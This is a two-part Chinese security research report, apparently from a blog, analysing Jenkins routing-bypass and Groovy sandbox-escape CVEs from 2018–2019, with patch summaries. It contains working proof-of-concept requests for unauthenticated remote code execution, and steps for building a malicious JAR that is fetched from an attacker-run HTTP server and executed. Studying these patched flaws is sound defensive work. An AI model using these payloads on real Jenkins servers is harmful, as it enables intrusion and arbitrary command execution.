Jenkins on 诗与胡说

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

Wed, 16 Sep 2020 11:48:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

本报告下篇分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，梳理了Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。

突破Groovy沙箱

借用@廖新喜在2019 KCon大会的议题《Java生态圈沙箱逃逸实战》中的一张图，概括了Groovy沙箱的绕过史

下面按照官方发布的安全更新先后顺序梳理在Script Security插件中出现的沙箱绕过漏洞

SECURITY-1266

公告：https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
CVE：CVE-2019-1003000
插件：Script Security
影响版本：<=1.49
利用点
- org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl
- org.jenkinsci.plugins.workflow.cps#CpsFlowDefinition

分析

DescriptorImpl继承自Descriptor，通过上面的利用链能调用到这个descriptor并且能指定调用方法，同时这个类的doCheckScript方法对Groovy脚本进行了解析，又根据上文的分析我们可以调用到任意do方法，因此这个过程可以控制传入的脚本内容进而绕过沙箱执行代码

下面是分析GroovyShell解析脚本的过程，不感兴趣的可以略过

通过parse()方法解析Groovy脚本，经过一系列调用后进入GroovyClassLoader#doParseClass()方法，在该方法中的unit.compile(goalPhase);完成解析

其中goalPhase记录了当前解析的阶段，相关定义在org.codehaus.groovy.control.Phases，可以看到在Groovy compile的时候共有9个阶段，其中ALL和FINALIZATION定义是一样的

从注释也能看出来，分别是

初始化：打开源文件并配置环境；
解析：语法用于生成代表源代码的令牌树；
转换：从标记树创建抽象语法树（AST）；
语义分析：执行语法无法检查的一致性和有效性检查，并解析类；
规范化：完成AST的构建；
指令选择：选择指令集，例如Java 6或Java 7字节码级别；
类生成：在内存中创建*类*的字节码；
输出：将二进制输出写入文件系统；
完成：执行任何最后的清理；

跟入CompilationUnit#compile()

可以看到当执行到阶段4时会先调用doPhaseOperation()方法，然后继续processPhaseOperations()和processNewPhaseOperations()操作，接着如果progressCallback不为空的话会去调用回调函数，当第一次进行到阶段4的时候，会设置progressCallback为ASTTestTransformation，接下来的阶段progressCallback都为这个值，直到执行到设置好的阶段7。

在执行progressCallback.call，即调用到ASTTestTransformation#visit()的过程中，会再次调用到GroovyShell#evaluate()，随后再次进入parse的流程，这是一个递归的过程，也就是说从阶段4到阶段7一共会执行4次parse，每次parse完成通过script.run()执行代码

本地测试一下，打印出每次执行到的阶段，可以看到对ASTTest的解析会涉及到阶段4到阶段7

一个tips：

@ASTTest有两个参数，其中*phase*可以指定ASTTest执行的阶段，在该阶段结束时作用于AST树

参考：https://groovy-lang.org/metaprogramming.html#xform-ASTTest

因此，通过@ASTTest语法可以利用断言执行代码，这个过程发生在Groovy解析脚本的过程中，而不用等到具体调用再执行

PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec("calc")})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/script-security-plugin commit
版本：1.50
概述：新增RejectASTTransformsCustomizer类，拦截ASTTest.class和Grab.class，出现这两个语法会抛出异常

SECURITY-1292

公告：https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292
CVE：CVE-2019-1003005
插件：Script Security Plugin
版本：<=1.50

Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements.

This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the 2019-01-08 fix for SECURITY-1266 and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.

org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl利用链中的doCheckScript方法没有及时更新修复后的安全方法，依然存在风险，绕过点就是利用@Grab

Grape 是一个内嵌在 Groovy 中的 JAR 依赖项管理器，方便在classpath中快速添加 Maven 库依赖项，更易于编写脚本。最简单的用法是在脚本上添加注释（annotation），如下所示：

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

程序会自动去仓库下载对应的库，并保存在~/.groovy/grapes/目录

分析

现在只需找到一个可以利用的类便可完成代码执行，这里列举两个：

org.zeroturnaround.zt-exec类，本地测试

@Grab('org.zeroturnaround:zt-exec:1.11')
import org.zeroturnaround.exec.ProcessExecutor
new ProcessExecutor().command("calc").execute()

除此之外，adamyordan/cve-2019-1003000-jenkins-rce-poc利用了org.buildobjects.process.ProcBuilder类，效果是一样的

import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

但是，在Jenkins中执行并不能正常触发，报错如下：

Caused by: java.lang.RuntimeException: No suitable ClassLoader found for grab
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at org.codehaus.groovy.reflection.CachedConstructor.invoke(CachedConstructor.java:83)
        at org.codehaus.groovy.runtime.callsite.ConstructorSite$ConstructorSiteNoUnwrapNoCoerce.callConstructor(ConstructorSite.java:105)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallConstructor(CallSiteArray.java:60)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:235)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:247)
        at groovy.grape.GrapeIvy.chooseClassLoader(GrapeIvy.groovy:182)
        at groovy.grape.GrapeIvy$chooseClassLoader.callCurrent(Unknown Source)
        at groovy.grape.GrapeIvy.grab(GrapeIvy.groovy:249)
        at groovy.grape.Grape.grab(Grape.java:167)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.invoke(StaticMetaMethodSite.java:46)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.callStatic(StaticMetaMethodSite.java:102)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.kohsuke.groovy.sandbox.impl.Checker$2.call(Checker.java:188)
        at org.kohsuke.groovy.sandbox.impl.Checker.checkedStaticCall(Checker.java:190)
        at org.kohsuke.groovy.sandbox.impl.Checker$checkedStaticCall$0.callStatic(Unknown Source)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:222)
        at Script1.<clinit>(Script1.groovy)
        ... 95 more

下面针对这个异常来分析@grab的执行流程，不感兴趣的可以略过

@grab的解析与上面@ASTTest类似，同样是9个阶段，不同的是解析ASTTest时回调的是ASTTestTransformation而grab回调的是GrabAnnotationTransformation#visit()，进而执行到groovy.grape.Grape#grab

最终的实现由groovy.grape.GrapeIvy#grab来完成，源码

在这个过程中会通过两次chooseClassLoader来加载class，当class以及其父类不属于groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader时会抛出No suitable ClassLoader found for grab

通过Matrix Project Plugin插件来跟踪流程，该插件的Combination Filter功能可以进行groovy解析，这个地方也披露过一个沙箱绕过漏洞，具体分析请参考下文[SECURITY-1339]{#SECURITY-1339}

当用户从Configuration Matrix页面上保存配置时，调用如下

public Script parse(GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(this.parseClass(codeSource), this.context);
}

在执行createScript()和parseClass()两个方法时都会对grab进行解析，但参数有所不同

parseClass()过程传递的参数classLoader为GroovyClassLoader，因此能够正常加载，即一次成功的grab解析过程

createScript()过程的args参数不含classLoader，于是Jenkins会加载当前插件类script-security，不属于上面提到的groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader，所以会抛出No suitable ClassLoader found for grab异常，但是恶意代码已经在第一次解析的时候触发了

两次调用栈对比

接下来当成功获取到loader 后会通过下面两个方法开始解析具体的jar文件，重点关注processOtherServices()

processCategoryMethods()
processOtherServices()

可以看到在processRunners()中有 newInstance()方法，当我们把META-INF/services/org.codehaus.groovy.plugins.Runners设置成恶意类时，Grape就会以这个类为入口点，即可创建这个类的实例，这也就是Orange在Hacking Jenkins Part 2中提到要将执行的类名放到该路径下的原因：

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔，把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼!

因此该漏洞的触发方式是，使用@grab引入外部jar文件，并且jar包中的META-INF/services/org.codehaus.groovy.plugins.Runners内容为要执行的类名，通过GroovyShell.parse即可触发。

PoC

需要额外创建恶意jar包并放在~/.groovy/grapes/jars目录，较鸡肋，配合@GrabResolver从远程获取恶意类更方便触发，详细分析参考[SECURITY-1319]{#SECURITY-1319}

补丁

jenkinsci/script-security-plugin commit
版本：1.51
概述：在1.50的修复中新增了一个RejectASTTransformsCustomizer类用来拦截黑名单，但是在SecureGroovyScript#DescriptorImpl的doCheckScript()方法中并没有调用，在该版本修改了直接parse的过程

createSecureCompilerConfiguration()方法即在SECURITY-1266中新增的修复方法

SECURITY-1318

@Grapes可以进行多重注释，如

@Grapes([
   @Grab(group='commons-primitives', module='commons-primitives', version='1.0'),
   @Grab(group='org.ccil.cowan.tagsoup', module='tagsoup', version='0.9.7')])
class Example {
// ...
}

所以上面的@Grab可以放进@Grapes中，效果是一样的，以此来绕过黑名单

PoC

@Grapes([@Grab('org.zeroturnaround:zt-exec:1.11'), @GrabConfig(systemClassLoader=false)])
import org.zeroturnaround.exec.ProcessExecutor;
new ProcessExecutor().command("calc").execute();

SECURITY-1319

使用@GrabResolver可以从指定仓库下载依赖文件，如

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')

这里的root可以指定任意地址，也就可以从远程获取恶意jar文件，这也是Orange在Hacking Jenkins Part 2提到的方法

PoC

编写执行命令的恶意类

public class Exploit {
    public Exploit() {
        try {
            String payload = "calc";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
        }
    }
}

编译生成class
```
javac Exploit.java
```
创建文件夹
```
mkdir -p META-INF/services/
```
将要执行的类名写入到META-INF/services/org.codehaus.groovy.plugins.Runners 中，原因见上文@grab的分析
```
echo Exploit >META-INF/services/org.codehaus.groovy.plugins.Runners
```

打包成jar

jar cvf payload-1.jar Exploit.class META-INF/

创建目录，与最终poc中garb的group，module，version关联，如

@Grab(group='exp',module='payload',version='1')

则创建exp/payload/1目录
把生成的jar文件放在exp/payload/1中，并开启一个http服务

发送PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='payload',root='http://127.0.0.1:83/')%0a@Grab(group='exp',module='payload',version='1')%0aimport%20Exploit;

http响应并执行命令

注意：

当通过grab拉取jar后会在~/.groovy/grapes目录创建相应的ivy.xml文件（类似于pom文件，保存依赖关系）和jars目录，当再次请求相同的包时会从本地获取jar文件而不会去请求http，如果要再次请求就需要更改包名或版本；
还需要注意目标的Java版本与编译恶意类的Java版本是否一致，否则会报错；

SECURITY-1320

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

补丁中对1320的测试用例提示了绕过方法，就是通过导入别名的方式

PoC

import groovy.transform.ASTTest as lolwut;
@lolwut(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

SECURITY-1321

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

同样根据测试用例发现通过元注释来绕过

文档上的例子：

import groovy.transform.*
@AnnotationCollector([EqualsAndHashCode, ToString])
@interface Simple {}

@Simple
class User {
    String username
    int age
}

def user = new User(username: 'mrhaki', age: 39)
assert user.toString()

PoC

import groovy.transform.*;
@AnnotationCollector([ASTTest])
@interface Lol {}
@Lol(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

补丁

jenkinsci/script-security-plugin commit
版本：1.53
概述：SECURITY-1318, SECURITY-1319, SECURITY-1320, SECURITY-1321均在1.53版本中修复，把Grab注释相关的方法全部放进了黑名单

SECURITY-1339

公告：https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
CVE：CVE-2019-1003031
插件：Matrix Project Plugin
影响版本：<= 1.13

这个漏洞需要配合SECURITY-1336 (1) / CVE-2019-1003029触发，本质还是利用在解析groovy脚本后中通过script.run()执行代码

分析

从页面提交Filter之后执行到hudson.matrix.MatrixProject#submit()，payload传给参数combinationFilter，随后执行rebuildConfigurations

payload传入evalGroovyExpression，然后调用hudson.matrix.FilterScript#parse()方法初始化一个GroovyShell，并通过GroovyShell解析表达式，代码得到执行

PoC

class poc{poc(){"calc".execute()}}

补丁

jenkinsci/script-security-plugin commit
jenkinsci/matrix-project-plugin commit
概述：

在SECURITY-1336的修复中，使用安全的方法

GroovySandbox.run(GroovyShell, String, Whitelist)

代替

GroovySandbox.run(Script, Whitelist)

安全方法会在执行之前通过白名单检查，之后直接通过shell.parse会抛出一个java.lang.IllegalStateException的异常

SECURITY-1465

公告：https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2)
CVE：CVE-2019-10355, CVE-2019-10356
插件：Script Security
影响版本：<=1.61

概述

Groovy语法中的方法指针运算符.&可以获取一个方法指针，后面再调用该指针可以直接访问到指定方法，如：

void doSomething(def param) {
    println "In doSomething method, param: " + param
}
def m = this.&doSomething
m("test param");

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

分析

org.kohsuke.groovy.sandbox.GroovyInterceptor是一个拦截器类，功能是为当前线程创建相应方法的拦截器，在接收拦截之前，需要通过GroovyInterceptor#register()注册，相关方法在

在script-security 1.58版本中把这部分代码放到了GroovySandbox.Scope enter()方法中

而register()方法的功能是通过threadInterceptors.get().add()为当前线程注册拦截器

public void register() {
    ((List)threadInterceptors.get()).add(this);
}

该漏洞的利用点就是在threadInterceptors.get()获取到线程信息之后，再调用clear()方法清除当前线程的所有拦截器，使黑名单失效，然后就可以注入自定义代码来绕过沙箱

本地测试一下

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }()).execute();

但是直接发送这个脚本会被org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist#rejectStaticField()拦截，于是可以在execute之前利用.&操作符绕过

或者利用这个issue的方式，在此处.&并没有起到实质调用的作用，只是为了绕过Jenkins对staticField的检查

PoC

PoC的变化也多种多样，可以通过上面分析的Matrix Project Plugin插件触发

Poc1

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }().&toString).execute();

PoC2

1.&({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); 'x' }()); 'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：在方法指针表达式增加了transform检查

SECURITY-1538

公告：https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538
CVE：CVE-2019-10393, CVE-2019-10394, CVE-2019-10399, CVE-2019-10400
插件：Script Security
影响版本：<=1.62

概述

该问题与SECURITY-1465一样，由于groovy语法特性导致绕过，此次利用的是方法调用表达式，可以通过()运算符直接调用call方法，如：

class MyCallable {
    int call(int x) {           
        2*x
    }
}
def mc = new MyCallable()
assert mc.call(2) == 4          
assert mc(2) == 4

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

同理，自增(++)自减(--)运算符也能间接调用到方法

分析

本质上还是通过threadInterceptors.get().clear()清除拦截器再执行任意代码

PoC

poc1

'calc'.({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "execute" }())();

poc2

++({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "toString" }());
'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：对方法调用表达式以及递增递减表达式都做了处理

SECURITY-1294

公告：https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294
CVE-2019-10390
插件：Splunk Plugin
影响版本：<=1.7.4
利用点
- com.splunk.splunkjenkins.SplunkJenkinsInstallation#doCheckScriptContent

分析

通过上面分析的descriptorByName可以直接调用到指定的类，注意到SplunkJenkinsInstallation类的doCheckScriptContent方法，该方法调用了

LogEventHelper.validateGroovyScript(value)

该方法对script进行了解析，而参数value的值直接从request获取，因此传入精心构造的脚本可导致任意代码执行

PoC

GET /descriptorByName/com.splunk.splunkjenkins.SplunkJenkinsInstallation/checkScriptContent?value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(%22calc%22)})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/splunk-devops-plugin commit
版本：1.8.0
概述：引入GroovySandbox在解析前对Groovy脚本进行校验

总结

本报告分析了Jenkins动态路由机制和路由绕过的问题，并讨论了在主流插件Script Security中针对Groovy沙箱的绕过方法，其中最巧妙的是利用自身路由白名单绕过登录检查并结合Groovy语法达到远程代码执行，是一条非常精彩的利用链。

在修复方式上，可以看出Jenkins对于沙箱问题采取的防护方法是黑名单+白名单的方式，对安全的控制还是比较好的，不少问题都出在Groovy的语法特性上，使得较小权限的用户可以突破沙箱执行任意代码，相信以后也会有更巧妙的方式来绕过沙箱，欢迎大家探讨。

参考

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

Tue, 15 Sep 2020 16:42:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

简介

本报告主要研究Jenkins的路由解析机制和Groovy沙箱绕过带来的安全问题，梳理Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。由于篇幅较长，分为上下两篇发表，文中疏漏之处还请批评指正。

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。Jenkins的目的是持续、自动化地构建/测试软件项目以及监控软件开发流程，快速问题定位及处理，提升开发效率。

Script Security插件是Jenkins的一个安全插件，可以集成到Jenkins各种功能插件中。它主要支持两个相关系统：脚本批准和Groovy沙箱，分别用来管控脚本是否允许执行以及将脚本限制在安全环境下执行，避免带来不可控风险。

环境搭建

下载相应版本的war包

地址：https://updates.jenkins-ci.org/download/war/
设置环境变量JENKINS_HOME

set JENKINS_HOME=D:\Jenkins\jenkins_2.137
加上调试选项并运行

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jenkins_2.137.war --httpPort=8082
安装插件

国内镜像地址：https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json

Jenkins在安装过程中会自动下载部分插件的最新版，这部分可以先跳过，再在后台上传特定版本的插件（.hpi文件）进行安装，然后重启Jenkins完成安装

动态路由机制

首先从WEB-INF/web.xml入手看看Jenkins如何处理路由，可以看到所有请求都交给org.kohsuke.stapler.Stapler，具体是由Stapler:service()方法来处理

在service方法中主要调用的是invoke方法，两处调用的区别是invoke的第3和第4个参数不同，分别是根节点root和url路径，在调用之前判断了url路径，如果是/$stapler/bound/开头，则把根节点设置为boundObjectTable，否则通过this.webApp.getApp()把根节点设置为hudson.model.Hudson

跟进invoke方法

调用的是Stapler#tryInvoke()方法，tryInvoke()方法中对node类型（也就是一开始的root）进行了判断，按先后顺序分别处理三种情况

StaplerProxy
StaplerOverridable
StaplerFallback

这三种情况的具体区别可以参考Jenkins关于路由请求的文档

这里我们关注中间获取metaClass和调用dispatch的过程

通过传入/securityRealm/user/admin/动态调试来跟踪理解

初始化metaClass

WebApp中会缓存一个classMap存放MetaClass，无对应缓存则通过

mc = new MetaClass(this, c);

进行初始化，这个过程发生在Jenkins刚启动没有缓存时，当建立缓存后则直接从classMap获取相应的MetaClass

MetaClass mc = (MetaClass)this.classMap.get(c);

在MetaClass的构造方法中，会再次调用其父类的getMetaClass()方法，直到父类为空为止

而此时的kclass为一开始传入的hudson.model.Hudson，Hudson继承关系如下图

因此getMetaClass一直调用到class java.lang.Object，然后进行buildDispatchers()方法并层层返回，因此整个初始化metaClass的过程是一个不断寻找继承树并递归调用buildDispatchers的过程，而buildDispatchers的功能就是提取该类中的所有函数信息存储在MetaClass.dispatchers中，作为后续与url的映射关系

buildDispatchers()方法按顺序调用如下：

this.registerDoToken(node)
- do(…)
node.methods.prefix(“js”).iterator()
- js(…)
node.methods.annotated(JavaScriptMethod.class).iterator()
- @JavaScriptMethod annotation
node.methods.prefix(“get”)
- get()
- get(String)
- get(Int)
- get(Long)
getMethods.signature(new Class[]{StaplerRequest.class}).iterator()
- get(StaplerRequest)
getMethods.signatureStartsWith(new Class[]{String.class}).name(“getDynamic”).iterator()
- getDynamic(…)
node.methods.name(“doDynamic”).iterator()
- doDynamic(…)

这相当于规定了一个函数命名规则，只要符合这个规则的方法都能被访问到。

注意此过程中，大部分dispatchers添加的都是NameBasedDispatcher对象，除了如下几类：

DirectoryishDispatcher (url路径相关，如/、?、../等)
HttpDeletableDispatcher (DELETE方法)
IndexDispatcher (doIndex(...))
Dispatcher (getDynamic(…) doDynamic(…))

其中js<token>(…)对应的JavaScriptProxyMethodDispatcher继承自NameBasedDispatcher

hudson.model.Hudson经过递归buildDispatchers，缓存下的dispatchers有220个，根据上面的注意点，其中大部分方法会调用到NameBasedDispatcher#dispatch()

递归解析路由

回到org.kohsuke.stapler.Stapler#tryInvoke()，路径/securityRealm/对应的是hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()，同样也会调用到NameBasedDispatcher#dispatch()

接下来可以看到ff.invoke()返回一个hudson.security.HudsonPrivateSecurityRealm对象，然后重新调用org.kohsuke.stapler.Stapler#invoke()，这也是一个递归的过程。此时HudsonPrivateSecurityRealm返回的dispatchers有30个，在Stapler#tryInvoke()中进行循环调用，在每个dispatchers动态生成的dispatch方法中，会根据解析到的url路径与当前的dispatchers进行对比，不一致直接返回false，同时还会判断是否存在下一层路由，如果存在则进入doDispatch

比如此时解析到的url为/user/，则只有hudson.security.HudsonPrivateSecurityRealm.getUser(String)方法进入下一步doDispatch

当传入一个不存在的url，tryInvoke会返回false，抛出404，也就不继续往下解析了

经过上面递归的tryInvoke过程，Jenkins才完成路由解析，调用过程的流程图如下

动态路由绕过

公告：https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
CVE：CVE-2018-1000861
影响版本：Jenkins<=2.153 / Jenkins LTS<=2.138.3

这是一个动态路由绕过导致未授权访问的问题，由Orange提交：）参考 Hacking Jenkins Part 1 - Play with Dynamic Routing

白名单机制

上面分析了Jenkins构建动态路由的过程，主要调用的是org.kohsuke.stapler.Stapler#tryInvoke()方法，该方法对所属于StaplerProxy的类会有一次权限检查，而一开始我们知道除了boundObjectTable其他的node都被设置为hudson.model.Hudson，上面也讲到Hudson类继承自Jenkins，而Jenkins的父类AbstractCIBase是StaplerProxy的一个接口实现，所以除了boundObjectTable外所有node都会进行这个权限检查，具体实现在jenkins.model.Jenkins#getTarget()中

这个方法会先进行一次checkPermission，如果没有权限则会抛出异常还会再进行一次isSubjectToMandatoryReadPermissionCheck检查，如果这个检查通过同样会正常返回

这个检查中有一个白名单，如果存在于这个白名单中的url路由同样可以直接访问

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[] {
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
});

还是以/securityRealm/user/admin/为例，在解析至securityRealm的时候命中白名单，正常返回，而解析至admin的时候因为User类并非StaplerProxy子类，所以会跳过getTarget()检查，成功绕过

跨物件操作

接下来关注DescriptorByName

从继承关系图可以看到User也是DescriptorByNameOwner接口的实现

而DescriptorByNameOwner接口调用的是 jenkins.model.Jenkins#getDescriptor

public interface DescriptorByNameOwner extends ModelObject {
    default Descriptor getDescriptorByName(String id) {
        return Jenkins.getInstance().getDescriptorByName(id);
    }
}

该方法首先获取了所有的descriptors，如果传入的id匹配到了相应的descriptor就能去调用指定的方法，例如org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl，getDisplayName()和doCheckScript()都是能被调用到的

因此，通过构造/securityRealm/user/DescriptorByName/xxx的方式就可以调用到任意类的任意方法，只要满足下面两个条件：

符合上文整理的命名规则；
目标类继承了Descriptor；

利用链：

Jenkins->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

在这个漏洞修复后还想再利用则必须开启Allow anonymous read access匿名用户访问权限，否则会抛出404

总结

本报告上篇讨论了Jenkins动态路由机制和路由绕过的问题，通过这个脆弱点可以绕过用户权限检查从而访问到特定的物件，为下一步进行远程代码执行漏洞攻击降低了攻击门槛，是一个非常巧妙的入口。下篇将分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，欢迎关注。

参考